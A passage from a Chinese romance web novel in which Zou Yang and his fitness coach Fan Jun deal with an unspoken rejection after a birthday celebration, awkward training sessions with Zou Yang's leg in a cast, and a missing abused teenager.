“这块带花儿的给寿星。”刘文瑞把一块蛋糕递给了樊均。 “谢谢。”樊均接过盘子,坐到了邹飏身边。 “给。”刘文瑞又递了一块给邹飏。 邹飏接过盘子,低头直接咬了一口,不知道是不是刚喝完那杯酒,这口蛋糕格外好吃。 这酒还挺开胃。 服务员又送过来几杯酒,刘文瑞他们开始举着杯子各种姿势拍照,拍酒拍人,挺快乐。 也许是距离太近了怕被樊均看出端倪,刘文瑞一直没往邹飏这边儿看,别说蛐蛐,连眼神交流都没有。 就是这么时而靠谱时而不靠谱。 甚至边聊边把之前拍的视频都剪好了发到了群里才转头跟邹飏说了一句:“一会儿你发给樊哥……” “嗯。”邹飏靠在沙发里应了一声。 刘文瑞终于发现了他不太对劲,伸了个浮夸的懒腰,往他旁边一靠,低声问:“靠,你怎么了?” “没事儿。”邹飏说。 刘文瑞往樊均那边又看了一眼,樊均正好从桌下拿出了两个骰盅,也看了过来:“玩骰子吗?” 刘文瑞没说话,用胳膊肘顶了邹飏一下,顶的劲儿有点儿大,邹飏的胳膊都让他顶得支棱起来了。 这一下的意思就是玩不玩你说。 但这太明显了吧大哥! 邹飏叹了口气:“……怎么玩?” 除了比大小之外最简单的,摇骰子,开的时候摇出了六拿出去,摇到一给对方,最后谁的骰子先没谁输。 邹飏有些艰难地坐直了身体,拿过骰盅在桌上摇了几下,打开看了一眼,有个一,他拿出来放到樊均那边。 轮到樊均,他拿着扣在桌上的骰盅,轻轻晃了一下之后随意地往旁边一带,骰子被带离了桌子,在空中摇了几下,再扣回了桌上。 还没等把骰盅打开,张传龙和刘文瑞同时开口:“我靠教我!” “嗯?”樊均愣了愣。 “教我们!”张传龙推开李知越挤到了樊均旁边一坐。 樊均很快地看了邹飏一眼,邹飏没说话,往后又靠回了沙发里。 骰子还没玩就结束了,樊均被迫开始教这几个在耍帅路上永远拥有超强上进心的人摇骰子。 时间慢慢过去,酒吧里的人渐渐多了起来。 灯光也比之前更暗了,音乐声开始一点点变大,蚕食掉了四周的耳语,服务员拿了蜡烛过来放到了桌上。 邹飏靠在沙发上,整个人躲在本就不亮的灯光的阴影里,看着桌上跳动的烛火和樊均的侧脸。 感觉整个人都有些发闷,声音也听得不真切。 ……听障了。 樊均平时是这个感觉吗? 他所有的注意力都集中在了视觉上。 跟这帮人混熟了的樊均,这会儿看上去放松了不少,动作很帅气,笑起来很帅气…… 就连刚才把手抽走时都挺帅气的。 邹飏看得有些出神,脑子有些凝固了,转不动,也懒得转,像是想了很多,又像是在放空。 脸上有细微的发痒,他抬手抓了抓。 指尖是湿的。 哭了? 樊均偏过头往他这边扫了一眼,先是愣了愣,又很快地转开了头。 顿了两秒之后,伸手抽了一张纸巾。 桌上的几个人还在热火朝天地练习着摇骰子大法,他把纸巾悄悄地递了过来。 就差一点要放到邹飏手里时,邹飏迅速地抬起了手。 樊均转过了头,有些意外地看着他。 邹飏也看着他,没说话,只是抬手用手指往脸上轻轻蹭了一下,擦掉了眼泪。 樊均拿着纸巾没动。 没事儿。 邹飏用口型说了一句。 现在还是樊均的生日。 第一次有人给他这样庆祝的二十四岁生日。 不要扫兴。 别留遗憾。 邹飏深吸了一口气,摘掉眼镜,低头蹭了蹭眼睛,重新戴上眼镜时,他冲樊均笑了笑,往前凑了凑:“教我。” “好。”樊均点头。 樊均之前大概想像不到,这几位大学生对课本之外知识的渴求和专注程度。 一晚上这帮人就没干别的,除了穿插着玩了几轮比大小,别的时间一直都在钻研空中摇骰子的技能。 快一点的时候一帮人走出酒吧,张传龙还在挥舞着他的胳膊,无实物模拟着空中摇骰子。 “今天真的……谢谢你们了。”樊均说。 “别说这种话,我们也是为了玩,”李知越说,“大家都挺开心的就对了。” 樊均笑了笑。 “都怎么回?”刘文瑞问了一句,然后看向邹飏。 这意思就是——回宿舍睡觉吗? “我跟你们一块儿回学校。”邹飏说。 刘文瑞眼神里闪过一丝质疑。 真的吗邹羊。 “先把樊均送回去。”邹飏说着拉开了副驾的门,跳上了车。 车开到楼下,邹飏腿脚不便没有下车。 樊均拿着装着礼物的大纸袋站在车边冲车里几个人挥了挥手:“开车慢点儿,直接从刚才给你们说的那条路出去就是大路,不用在小街上绕了。” “知道了!放心!”刘文瑞抓着方向盘,为了开车,他是今天唯一没有喝酒的人。 樊均笑了笑,没再说话。 邹飏转过头隔着车窗玻璃看着他。 说了一句,晚安。 晚安。 车开走之后,樊均还在原地站了一会儿才转身走进了楼道。 电梯门在顶层打开时,樊均站在电梯里没有动,按着开门键打了个响指。 楼道里的灯亮了,他扫了一眼地上的阴影,这才走了出去。 开门的时候也差不多,他听不清,一切都靠眼睛和直觉。 打开门看到大黑站在桌上冲他打了个大大的呵欠。 安全。 进门第一件事是把袋子里的打包盒拿出来放进了冷冻层里。 他想留着这四个字,就像他时不时就会去买一个黄桃罐头一样。 他在客厅中间站了一会儿,生日过完了,一整天的热闹和喧嚣都在这一刻离开了,屋里惯常的安静,突然让他有些难过。 他换了睡衣,进浴室准备把今天的衣服洗了的时候,看到了洗衣机里邹飏的衣服。 下一秒,邹飏指尖用力地按着他手背时的触感突然重新出现,带着隐隐的酸胀感。 他把衣服扔进洗衣机,低头看了一眼自己的手。 “先送我回家。”邹飏靠在副驾说了一句。 “什么?”刘文瑞转头看着他。 “看路!”几个人同时喊。 “看了看了,”刘文瑞又转回头看着前方,只用眼睛努力地往副驾这边瞟着,“你回家?” “嗯,”邹飏点点头,“没衣服换了。” “他俩明天的车走了啊。”刘文瑞提醒他。 “怎么他们还需要我一个瘸子去送行吗?”邹飏说。 “不用,”李知越在后头打着呵欠,“相看两厌了都。” “行。”刘文瑞点头,打了转向灯。 邹飏打开家里房门的时候,闻到熟悉的气息,感觉自己好像很久没回家了。 他坐着轮椅在家里转了一圈,然后愣在了自己屋里。 他不知道自己为什么大半夜的还非要回家。 冷清得满是孤单。 愣了半天,他起身慢慢蹦到了浴室,洗了个脸之后他撑着台面不敢抬头。 一抬头就会看到镜子里的自己。 莫名其妙的,这会儿他突然不敢看到自己。 一直站到腿有点儿酸了,他才回了客厅,坐在了沙发上。 门铃响起的时候,邹飏已经在沙发上睡着了。 听到门铃声半天都反应不过来。 直到手机也响了,他看到屏幕上刘文瑞的名字时,才总算清醒过来,接起了电话。 “开门!我以为你死了呢!”刘文瑞的声音同时在门外和电话里响起。 “你神经病啊?”邹飏挂了电话,起身蹦过去从猫眼往外看了看。 刘文瑞在门外冲他竖起中指。 邹飏打开了门,也冲他竖了竖中指。 “说吧,”刘文瑞进了门,把鞋脱了往鞋架那边一甩,大步走到沙发前一坐,“怎么回事儿啊?” 邹飏关上门,转身看着他:“你大半夜千里奔袭就为听个八卦是吧。” “那要看是谁的八卦了,”刘文瑞说,“这可是我铁瓷的八卦,我有第一知情权……给我点儿水喝。” “……你牛逼。”邹飏蹦到冰箱前,拿了瓶水扔给他。 “怎么了?”刘文瑞灌了两口冰水之后问了一句,“你不会是被拒绝了吧?” 邹飏靠着冰箱,看着他没说话。 其实也不算,但结果似乎没有什么区别。 刘文瑞半张着嘴等了一会儿,脸上慢慢换上了震惊的表情:“真的啊?” 邹飏还是没说话。 “我靠?你才是真的神经病吧!”刘文瑞站了起来,“你急什么啊?” “你急什么?”邹飏说。 “我急什……我一天之内知道你……又知道你……”刘文瑞晃着水瓶,感觉动作都还延续着之前的空中摇骰子,“你说我急什么,我急我还没消化呢,这事儿就这么没了啊?” “啊。”邹飏应了一声。 刘文瑞愣了很长时间,最后坐回了沙发上,拍了拍旁边的位置:“来,飏飏,坐这儿来,今儿晚上我不睡了。” “滚。”邹飏说。 “想哭一下也行。”刘文瑞说。 “滚。”邹飏没动。 “跟我细说一下,”刘文瑞指着他,“别以为现在这情况我不敢去问樊均啊。” 邹飏叹了口气。 今天一早温度就有点儿高,跑完五公里,樊均感觉自己后背全湿了。 小白也比平时哈哧得厉害一些。 “白,坐,”他把小白的牵引绳拴在派出所门口的灯柱上,“在这儿等我。” 小白端正地坐好了。 梁警官正坐在自己办公桌前吃早餐,看到樊均进来,放下了手里的包子。 “孙旭磊有消息了吗?”樊均走到办公桌旁。 “没呢,”梁警官叹了口气,“走访了一圈儿跟他有关系的人,什么同学朋友,游戏室网吧那些人,都没线索。” “还活着吗。”樊均问。 “你这话……”梁警官皱了皱眉。 “他平时接触的也没几个正经人。”樊均说。 “也没有这方面的消息。”梁警官说着咬了一口包子,又叹了口气。 樊均没说话,沉默了一会儿又低声问了一句:“樊刚的案子,有什么消息吗?” 梁警官停了下来,看着他。 “有什么能告诉我的吗?”樊均继续问。 “没有,”梁警官把嘴里的包子咽了,站起来拍了拍他胳膊,“均儿啊,别太担心,他逃了也几个月了,要真想过来,早过来了。” “他要知道我在这儿,一定会过来的。”樊均说。 带着小白回到新馆,吕泽正坐在前台打着电话,看到他进来,招了招手。 樊均走了过去,站在前台边等着。 “一会儿你有空吗?”吕泽挂掉电话问他。 “有。”樊均说。 “之前说要连场地带器材一块儿转的那人,同意单卖器材了,”吕泽说,“他那儿东西还挺新的,你一会儿过去看看,价格合适就要了。” “嗯。”樊均点点头。 手机在手里震了一下。 “主要是吧,他要打包全卖,所以得看看到底有多少是我们合用的……”吕泽说。 “嗯。”樊均应着,拿起手机看了一眼。 【邹yang】昨天你拆蛋糕的视频 “你跟他谈的话……”吕泽还在说着。 邹飏发过来的除了视频,还有一连串的照片,都是在露营地拍的,他都不知道邹飏什么时候拍了这么多,有他单人的,也有一帮人一块儿的。 “嗯。”樊均没注意听吕泽在说什么,只管应着。 然后点开了视频。 “我录着了录着了……”刘文瑞的声音传了出来,接着就是一段卡点BGM。 樊均赶紧把视频关了,抬眼看了看吕泽。 吕泽看着他。 “你说。”樊均说。 “我还说个屁。”吕泽说。 “除了屁之外的。”樊均说。 “没了!”吕泽提高声音。 “我一会儿过去。”樊均转身往训练区走过去,准备去换件衣服。 “你对待工作的态度端正一点儿!”吕泽在身后没好气儿地说。 “嗯。”樊均点点头。 手机又震了一下。 【邹yang】下午约课 樊均愣了愣,停下了。 【樊】你腿? 【邹yang】我看两点的课是空着的 没等樊均回答,手机又震了一下,小程序提示会员邹飏约了下午两点的课。 第48章 樊均看了一眼时间,现在九点刚过,去看器材需要……他又点开导航看了看,那个店在新区,导航推荐路线要开二十六分钟,来回路上需要一小时…… 他换了衣服,给小白戴好嘴套,拴在了训练区的角落里,谭如挺喜欢狗,专门买了个凉垫放在这儿给小白用。 “中午帮哥喂你。”樊均揉了揉狗头。 路过舞蹈室的时候他往里看了一眼,今天舞蹈室挺热闹,蓉主席正带着几个小姑娘拍视频,跳得一脸汗。 “均儿。”身后有人大声叫他。 “嗯。”他回过头,看到是那边母婴店的老板秦姐。 “你们定了地方了吗?”秦姐招手让他过去。 “还没最后确定,不过差不多了。”樊均走了过去,母婴店上午没什么生意,就秦姐一个人坐在门口。 “你们一走,我这儿基本也就完了。”秦姐叹了口气。 “不会的。”樊均说。 “本来我这儿后面都空着了,我最后一家,”秦姐说,“全靠你们才不显得偏,现在你们这一走,仨个门脸儿的位置都空着了……” 樊均没说话,这么看的确是,武馆一走,秦姐这个店跟中间那些就断开了,孤零零地偏在一角。 “这破地方,早晚都走空。”秦姐说。 “我看一楼有招租的。”樊均说。 秦姐叹气:“赚不着钱,租这就是为了便宜,现在我连这儿的租金都费劲,还一楼呢……” 跟秦姐聊了几句,樊均下了一楼,突然发现不知道什么时候,那家奶茶店已经搬空了,门口重新贴上了招租的纸。 樊均脚步顿了顿。 这地方真是…… 在后门停车场准备骑了车走的时候,他看到了正要去商场的猴儿。 “猴儿!”他喊了一声。 “樊哥!”猴儿跑了过来,“出去啊?” “嗯,”樊均看着他,“马上期末考了怎么还往这儿跑?” “我放松一下,”猴儿抓了抓脑袋,往他旁边凑了凑,“樊哥,有钱吗?借我五十块,下月还你。” “你没钱了?”樊均看着他。 猴儿家里每月都给他零花钱,他平时也不太用钱,还能攒下来不少。 “借我同学了,他摔坏了人家的手机,要赔。”猴儿说。 “你妈知道吗?”樊均拿出手机。 “知道。”猴儿说,“骂了我一顿,发下月零花钱之前饿死也不给我钱了。” 樊均给他发了个红包:“一会儿我问你妈。” “嗯。”猴儿收了红包转身跑上了电梯,“下午带我练会儿呗——” “没空。”樊均盯着他的背影看了一会儿,发动了车子。 车在南舟坪的小街里穿行,樊均余光里看着不断路过的行人,南舟坪的人,像是带着特有的标记,一眼就能看得出来。 但开上宽一些的马路之后,再往前,熟悉的景物慢慢消失,南舟坪的气息就会变淡,最后消失,变成一个陌生的世界。 看场地,看器材,这些事儿樊均做起来已经没有什么难度,偶尔会有短暂的慌乱,路边停车定一会儿就好。 今天一路顺利,他帽子都没戴,就一副墨镜。 他现在已经不再害怕樊刚找到自己。 他现在只害怕樊刚先找到的不是自己。 在找到他之前,樊刚先碰到吕叔,碰到珊姐,碰到吕泽,碰到任何一个跟他关系亲近的人,那一定就是避免不了的伤害。 ……碰到邹飏。 是他最害怕的。 想到就会心悸的那种害怕。 想到就会从梦里直接惊醒跳下床的那种害怕。 樊刚不知下落一天,他就一天不能安宁,他身边的人就一天不能安全。 樊刚要是这辈子都抓不住,他这辈子就只能形单影只。 这是一颗埋在他身边窒息而绝望的不定时炸弹。 他可以不管不顾去活着,就当它不存在,也许一辈子都没事。 但只要炸了,后果是他不能承受的。 他不能再失去重要的人。 哪怕只是想象,他都不能接受。 “我这儿器材虽然闲置了一年多,但大部分实际使用时间两年不到,”王老板是个健身达人,很壮,走路的时候都得架着胳膊,“你看看就知道,很新,维护一下就是新的。” 基本都是健身器材,吕泽的新场地计划是武馆和健身私教结合,东西是合用的,但要不了这么多。 “打包要不了。”樊均说。 “不打包不卖,拆开我慢慢卖,价格比打包高多了。”王老板说。 “你拆开卖了一年多了,”樊均往旁边的蝴蝶机上摸了一下,手指上全是灰,“也没卖掉几台……” “怎么说话呢?”王老板不高兴了。 “我们大概能……”樊均扫了一眼器材,心里飞快地盘算了一下,“要一多半,剩下的你慢慢卖,都不用租这么大地方来放。” “不行。”王老板很坚决。 樊均皱了皱眉,看了一眼手机上的时间。 “这几个月光你们这片儿健身房就倒了两家,新开的没有,”他说得很快,“都在出器材,有些比你这儿的旧,但便宜很多,反正我们开不了多久说不定也要倒,新点儿旧点儿其实也没所谓。” 请吕老板原谅。 “……什么?”王老板看着他,一时没接上话。 樊均没看他,拿出吕泽之前写给他的清单,上面列了需要的器材,他扫了一眼,递给王老板:“这些,你看看能不能行,不行我就走,我赶时间。” “你这态度……”王老板没接。 “我们现在就在倒闭中,马上要被清场,”樊均说,“真的赶时间。” 王老板沉默了一会儿,接过纸看了起来。 “真难吃。”刘文瑞皱着眉,一根一根地嗦着面前的炒面。 “你非要吃的,我说了那个不好吃,”邹飏低头吃着自己的猪排饭,“给我吃干净了。” “你一会儿真去啊?”刘文瑞问。 “嗯,”邹飏应了一声,“课我都约好了。” “去了你也练不了,”刘文瑞挑着一根面,“你俩杵那儿不尴尬吗?” “我就是……”邹飏犹豫了一下,“就是不想一个人待着。” “咦……”刘文瑞撇了撇嘴。 邹飏扫了他一眼,没再说话。 所以有些话哪怕是发小,也没法聊透了,很多事儿只能自己憋着慢慢消化。 “我不是人啊?我一个暑假什么都不干陪着你都行啊。”刘文瑞说。 虽然有时候发小很让人感动。 “不一样。”邹飏说。 “靠。”刘文瑞吃了一大口面,艰难地咽着。 邹飏拿过手机,重新点了一份猪排饭。 的确不一样,虽然他说不清哪儿不一样。 他跟樊均在一块儿的时候,哪怕不说话,也会很轻松,那种晒着太阳毛茸茸的安全感。 甚至是他的最渴望的家都没有给过他的那种安全感。 “就这两天我会叫车过来拉走,”樊均说,“到时麻烦王老板过来看着点儿装车。” “嗯,”王老板叹了口气,“我亏了啊。” “吃亏是福。”樊均转身往外走。 “那你怎么不要这个福。”王老板啧了一声。 “没享过福,习惯了。”樊均说。 一点了。 这儿谈价格清点器材检查器材,一通下来很费时间,吕泽为价格的事儿还磨叽半天,毕竟手头钱就那么点儿。 樊均骑上车往回赶。 车转进南舟坪之后他才放慢了速度,看着街边有没有什么可以打包带回去吃的午饭。 刚开过路口,就看到了前面有一辆拉风的车。 跟邹飏那辆一样。 但与此同时,他看到了骑车的人打着石膏的左腿。 他愣住了。 这是怎么骑过来的? 疯了吗! 他赶紧一拧油门往前追了过去。 怕吓着邹飏,他都没敢在跟邹飏平行的时候出声叫他。 只是直接超过他,到前头点儿停下,腿撑着地回过身指了指邹飏。 邹飏戴着副墨镜,没什么表情地冷着脸看着前方。 看到他时脸上才有了表情,也是一愣。 然后赶紧往人行道边靠了过去,右腿往地上一撑,左腿还是悬空抬着。 樊均下了车,走到他面前:“你真……” “牛逼。”邹飏说。 “……嗯,”樊均又看了看他的腿,“下来,车停这儿。” “干嘛?”邹飏问。 “我带你过去。”樊均说。 “我都从我家骑到这儿了,”邹飏没动,“要摔早摔了。” “下来。”樊均看着他。 邹飏顿了顿,啧了一声,从右边下了车。 樊均跨上他的车,骑上了人行道,停在了停车位上。 邹飏蹦到了樊均的车旁边站着。 “为什么不打个车?”樊均上了车。 “不方便。”邹飏扶了一下他的肩,坐到了后座上。 “要碰上什么紧急状况你就得摔,”樊均回过头,“还戴个墨镜,看得清吗?” 邹飏捏着镜框轻轻一掀,把眼镜上的墨镜片儿拿了下来:“看得清。” “……磁吸的吗?”樊均问。 “嗯。”邹飏点点头。 樊均没再说话,轻轻叹了口气,拧了一下车把,往前开了出去。 “今天练什么?”邹飏单腿站在训练区,扶着沙袋看着他。 “……胸肩力量。”樊均说。 “我的天哪邹飏,”谭如从旁边经过,震惊地围着他转了一圈儿,“你真是……你真是……” “身残志坚。”邹飏说。 樊均也不知道该说什么了,从旁边架子上拿了根弹力绳递给邹飏:“绕肩放松一下。” “嗯。”邹飏接过强力绳。 樊均拖了一个跳箱过来:“你左腿跪这上头吧。” 邹飏一条腿站一条腿跪地拿着弹力绳认真地绕肩。 樊均看着他。 邹飏脸上看不出什么情绪来,但明显能感觉得到跟平时的状态并不一样。 樊均想说点儿什么,但又不知道能说什么。 只能沉默地站在旁边,心里说不出来的滋味儿。 “现在练什么?”邹飏绕肩完毕,看着他问了一句。 “俯卧撑激活一下。”樊均说着伸出手。 “嗯。”邹飏抓住他的手。 两人的手握紧的一瞬间,樊均有一丝恍惚,昨天晚上邹飏指尖按在他手背上残留着的触感再次出现。 他定了定神,慢慢把邹飏往下放。 “单腿做。”他说,看到邹飏另一只手在地上撑实了,他松开了手。 “还一周可以拆石膏了,”邹飏手撑着地面,“左腿可以着地,不用力就行。” “单腿做。”樊均又说了一遍。 “哎。”邹飏叹了口气,把左小腿往后勾了起来。 十五个一组,五组。 中间三组还往他背上放了个五公斤的杠铃片儿。 “操。”邹飏咬了咬牙,还有最后四个,他撑着地没往下走,感觉下去就起不来了。 樊教练一点儿也没因为他眼下是个残疾人并且挺长时间没训练了而降低强度。 “谁家激活激这么狠?”邹飏偏过头。 “最后四个,”樊均在他身边单腿蹲下,手伸到了他肚子下面虚托着,“不行了我帮你。” 邹飏一狠心,往下继续。 但在肚子碰到樊均手的瞬间,樊均掌心的温度瞬间隔着衣服传了过来,虽然他觉得这应该是幻觉,但那点儿温度还是迅速从腰侧往后漫延到了后背上。 这一分心,他顿时胳膊一软,脸都没来得及转开就扑了下去。 樊均反应很快,一只手托住他的肚子,一只手很快地伸到了他脸下方。 邹飏的脸直接扣在了他手上。 “……我靠。”他闷在樊均手心里说了一句。 樊均没说话,托着他肚子的手往上使了使力,邹飏借着劲撑着垫子直起了身。 在垫子上跪了一会儿,他抬头看了看站在他正前方的樊均。 樊均犹豫了两秒,往旁边让开了一步。 “……你大爷。”邹飏没忍住笑了。 “歇会儿。”樊均跟着也笑了起来,把跳箱推到了他面前。 “哎,今天的课就到这儿吧,”邹飏撑着跳箱起身,坐在了跳箱上,摘下眼镜看了看,镜片都花了。 “嗯?”樊均愣了愣。 “练不动了。”邹飏说着把眼镜往跳箱上一扔。 樊均伸手拿走了他的眼镜,放到了墙边的置物架上,走回来的时候看了看手机:“还有三十秒。” “什么?”邹飏没明白。 “休息时间,”樊均说,“接下去是哑铃卧推。” “练不动。”邹飏说。 “四组。”樊均说。 “转人工,”邹飏啧了一声,“003号出来。” 樊均笑了笑:“003号正在给你安排训练计划。” “行吧。”邹飏叹了口气。 四组卧推做完,邹飏直接躺在训练椅上没起来。 樊均坐在旁边跳箱上看着他。 邹飏看着天花板,过来上课之前,他交待过自己上课就是上课,以前什么样,现在就什么样。 但很难。 有些东西是回不了头的。 他轻轻舒出一口气,偏过头:“樊均。” “嗯。”樊均应了一声。 “我今天约课,”他低声说着,没戴眼镜也看不清樊均是什么表情,“没有什么别的意思……我就是不想一个人待着。” “嗯。”樊均起身,走过来蹲在了他身边。 “之后我还会约课,”他说,“我放假了。” “嗯。”樊均点了点头。 邹飏还想说什么,但最后并没有说出来。 樊均能感觉得到,只是也并不能完全确定。 接下去的训练,邹飏并没有偷懒,安排的训练的都完成了。 “一会儿……”樊均看了一眼时间。 “我直接回家。”邹飏说。 “要去旧馆……吗?”樊均问,“是不是挺久没见到珊姐了?” “不了,我也没跟她说我过来上课,”邹飏坐在椅子上,腿架往跳箱上一架,“各有各的生活,她什么时候回家的时候再说吧。” “我送你回去,”樊均说,“你车别开了,我一会儿把车放好,你拆石膏了再说。” “我打车,”邹飏笑了笑,很快地低声说了一句,“你不是怕我跟你关系太近了有危险么?” 樊均没说话,手轻轻抖了一下。 邹飏这句话说出来的时候他感觉自己心里像是被什么东西狠狠揪了一把。 第49章 樊均拿着邹飏的车钥匙,站在路口,盯着邹飏上了出租车。 车开走之后好半天,他都还站在原地没动。 他本来想着,如果邹飏想再遛达一会儿,在馆里多待一会儿,或者去看看大黑小白,他其实都可以陪着。 但邹飏已经看穿了,也已经听懂了。 他站在路口。 感觉四周空荡荡的。 一直到身后有他听着耳熟的声音模糊地飘过,他才回过神,转过头喊了一声:“李茂!” 跟几个同学聊得正欢的李茂看到他顿时缩了缩脖子:“樊哥。” “你过来。”樊均指着他,这小子一看就不对劲。 他今天本来就觉得猴儿有点儿不对,还没来得及细琢磨,这会儿一看李茂更不对了,这仨小孩儿成天混一块儿,肯定是知道点儿什么。 “什么事儿啊樊哥。”李茂不情不愿地走了过来。 他刚一往这边儿走,他那几个同学立马都跑了,感觉生怕跑慢了会被樊均顺手抽一顿。 “你觉得我能有什么事儿找你。”樊均看着他。 “我哪儿知道啊,我都一个月没去武馆了……”李茂抓了抓脑袋,“放假了我就去……” “你去不去我才不管。”樊均说。 李茂沉默了。 “你要我把猴儿叫过来提醒你吗?”樊均说。 李茂愣了愣,猛地一抬头:“他说了?” 樊均没出声。 李茂感觉到自己说漏了嘴,也顿住了。 “孙旭磊去哪儿了。”樊均没再绕弯子。 李茂用力抿住了嘴。 樊均直接伸手抓着他脸一捏,李茂的嘴立马张开了:“啊啊啊哎……” “跟我说,或者去派出所跟梁叔说,你选。”樊均说。 李茂憋了一会儿,眼睛突然红了:“我真不知道……” “你知道什么就说什么。”樊均说。 “他就说要跑,再不跑就要被孙老五打死了,”李茂带着哭腔,“我跟猴儿就凑了点儿钱给他……” “疯了你们!”樊均一把揪起李茂的衣领。 “他是真的会被打死的啊,一次比一次重,屁股上背上的伤他没让你看过,都烂了啊,疤摞疤的……”李茂终于哭了起来,“你不知道他有多惨……” 我怎么会不知道。 我怎么会不知道! “他人呢?”樊均压着声音。 “不知道,他没告诉我们,只说会离开这个城市,以后混好了回来找我们,”李茂边哭边说,“后来手机就打不通了……” “你跟我去派出所。”樊均手都有些抖,拽着李茂往回走。 “别抓我樊哥,别抓我,我真不知道。”李茂拼命挣扎。 “谁抓你!”樊均半拎着他,“去跟警察说清楚你俩都知道些什么!” 猴儿也被叫到了派出所。 梁警官一瞪眼儿,俩小孩儿立马哆里哆嗦全招了。 但也没有什么新的线索。 只知道孙旭磊不光要离开南舟坪,还要离开这个城市,除了三千七百块钱和一个手机之外没有再带任何东西,也没留下任何有可能找到他的信息。 走得一点儿后路都没留。 之后猴儿给孙旭磊打过电话,但一直都关机。 “知道他要走的时候为什么不说!”樊均忍不住吼了一声。 猴儿和李茂被吓得挤到了一块儿,梁警官都被吓了一跳,赶紧拦在了他面前:“哎哎哎哎哎……” “他走的前一天才说的,”猴儿小声说,“我们都没想着他真能走……他也不让告诉你……” “他不让你说你就不说了?”樊均越过梁警官肩膀指着他,声音吼得都有些发哑,“他是爹啊你这么听话!” “樊均!”梁警官把他往办公室外面推,“你出去冷静一下。” “都怕再给你惹麻烦啊!”猴儿也扯起嗓子喊了起来,“你为他都蹲好几天拘留所了!” “我怕这点儿麻烦吗!我怕吗!”樊均吼。 我怕的是他没有机会了。 梁警官把他推出了门外,关上了办公室的门。 樊均在门外站了一会儿,转身坐到了旁边的长椅上。 手在抖,不知道是气的还是害怕。 或者无能为力的绝望。 孙老五走进了派出所大厅,进来就喊上了:“怎么!我怎么听说有人知道……” 一直低头盯着地面的樊均抬头扫了他一眼。 这一秒,孙老五和樊刚在他面前有某种诡异的重合。 孙老五停下了脚步,也没了声音,瞪着他。 好半天才说了一句:“你想干什么?” “滚。”樊均说。 “……凭什么?我听说我儿子被他俩拐……”孙老五身体一直保持着一个向后微倾的状态,警惕地看着他。 “你敢找他俩麻烦,”樊均盯着他,“我弄死你。” 孙老五瞪着他,像是被吓着了,两秒钟之后骂了一句“操”,转身小跑着走了。 樊均还盯着空荡荡的门口。 他也被自己吓着了。 我弄死你。 有一瞬间他以为自己听到了樊刚的声音。 猴儿和李茂的爸妈过来之后,樊均起身离开了派出所,去路口那边把邹飏的车骑回了旧馆。 “邹飏来了?”珊姐看到车之后愣了愣,往院子外面看过去。 “没,他下午骑车过来上课,我没让他再骑回去,”樊均说,“他打车回去的。” “他腿还没拆石膏呢,来上什么课啊?”珊姐皱了皱眉。 “一个人在家无聊吧。”樊均笑笑。 “他才不无聊,他跟刘文瑞从小就混一块儿,打都打不散呢,”珊姐说到一半才反应过来,“他考完试了?” “嗯,说已经放假了。”樊均说。 “也不跟我说一声。”珊姐啧了一声。 “你要……回去看看吗?”樊均问。 珊姐到旧馆几年了,他从来没主动问过珊姐要不要回家,怕珊姐会觉得是要赶她走,但这会儿还是没忍住,小心地问了一句。 “我回去干嘛啊,也没什么事儿,”珊姐转身回厨房去拿她的买菜车,“新馆不是要搬了么,这边儿一堆事儿……” 后面说的什么樊均看不到口型没听见,他跟进了厨房:“回去……看看邹飏。” “哎哟,”珊姐笑了起来,“真是,哪家大小伙子乐意跟自己妈在一块儿。” 那个从小就渴望父母温暖的大小伙子啊。 樊均没再说话,拿出手机边看边去了训练馆。 吕泽刚回来,正在上课。 “车我已经安排了,”吕泽说,“明天下午过去拉。” “新场地那边能进东西了吗?”樊均问。 “地面清好了,先把器材位置确定了,别的弄起来快的。”吕泽说。 “嗯。”樊均点头。 “过几天我就会先安排我的一部分会员过去那边上课了,”吕泽说,“你的会员……愿意跟过去的也可以先打好招呼,不跟过去的都安排在旧馆,一直到课时上完,就是得暂时两边跑跑了。” “好,没事儿。”樊均应着。 有多少会员会跟过去并不确定,但猴儿和李茂这些小孩儿,都是南舟坪的孩子,新场地离这儿差不多五公里,大概率是不会过去了。 不过他俩之后都不会在这儿上高中,最终也都是会慢慢散去。 樊均突然有些难受,感觉身边熟悉的人和事都在不可阻挡地一点点消失,或者即将消失。 手机响了一声。 【邹yang】明天约课 樊均低头看着手机,轻轻舒出一口气,仰头往后靠在了墙上。 【樊】3点吧,2点时间有点紧 【邹yang】什么时间紧 【樊】吃饭 【邹yang】? 【邹yang】你今天是不是没吃午饭 【樊】没吃 【邹yang】明天2点,什么时候吃完什么时候开始 【邹yang】反正你安排的那个鬼强度我练不满一小时 “为什么非得两点上课?”樊均坐在前台后头埋头吃饭。 今天还是酸菜五花肉,感觉再不多吃点儿,这家又不知道什么时候就会跟楼下奶茶店一样悄然消失了。 “无聊。”邹飏坐在前台旁边的椅子上。 “你不跟刘文瑞出去玩吗?”樊均问。 “他这几天跟着他表哥练车,”邹飏说,“勤奋得很,还想拉我一块儿。” 樊均笑了笑:“你腿什么时候拆石膏?” “还几天,先拍个片子,然后就可以拆了。”邹飏晃了晃石膏腿,“一个月了,我都怀疑是不是坏死了,都不痒痒了。” “别瞎说,”樊均说,“刘文瑞正好开车送你去医院。” “不用他送,”邹飏看着自己的腿,“我自己去。” 又看了他一眼:“赶紧吃。” “嗯。”樊均低头继续吃饭。 邹飏今天的课依旧只能安排上半身,吃饭用掉了十分钟,后面五十分钟练了练背。 一连好几天,邹飏都约下午两点的课,留一点儿时间给他吃饭,剩下的时间练练,樊均很费劲地给这个连续上课的半身学员安排着训练项目。 但能感觉得出来,邹飏练得并不认真,虽然所有动作都按要求完成了。 就像他自己说的那样,来上课是因为无聊,不想一个人在家里待着。 邹飏情绪一直不高,并不完全是因为生日那天的事,还因为珊姐。 这几天新场地开始试营业,吕叔和珊姐都会两头跑着帮忙。 邹飏放假之后一直没跟珊姐碰过面,也没有联系过,就像是在较劲。 他如果一直不出现,他的妈妈多久才能注意到这个儿子已经很久没有在她的生活里出现过了。 “珊姐,”樊均站在灶台边,给正在做饭的珊姐帮忙,“明天邹飏的腿拆石膏了。” “啊,就能拆了吗?不得到一个月才拆吗?”珊姐举着铲子愣了愣。 “已经一个月了。”樊均说。 “哎哟,”珊姐叹了口气,“这阵儿忙着也没注意这个事儿……他怎么也不跟我说一声呢!一个月还去他爸那儿汇报一次,跟我这儿拆石膏了都不说!” “要不……”樊均看着她,“你给他打个电话?” “到时又该嫌我烦了。”珊姐继续炒菜。 “不会的。”樊均说。 珊姐没说话。 “我明天陪他去拆石膏,”樊均说,“你家地址……你给我一下吧。” 珊姐是个心很大的人,她都没奇怪为什么樊均要陪她儿子去拆石膏,地址却要问她拿。 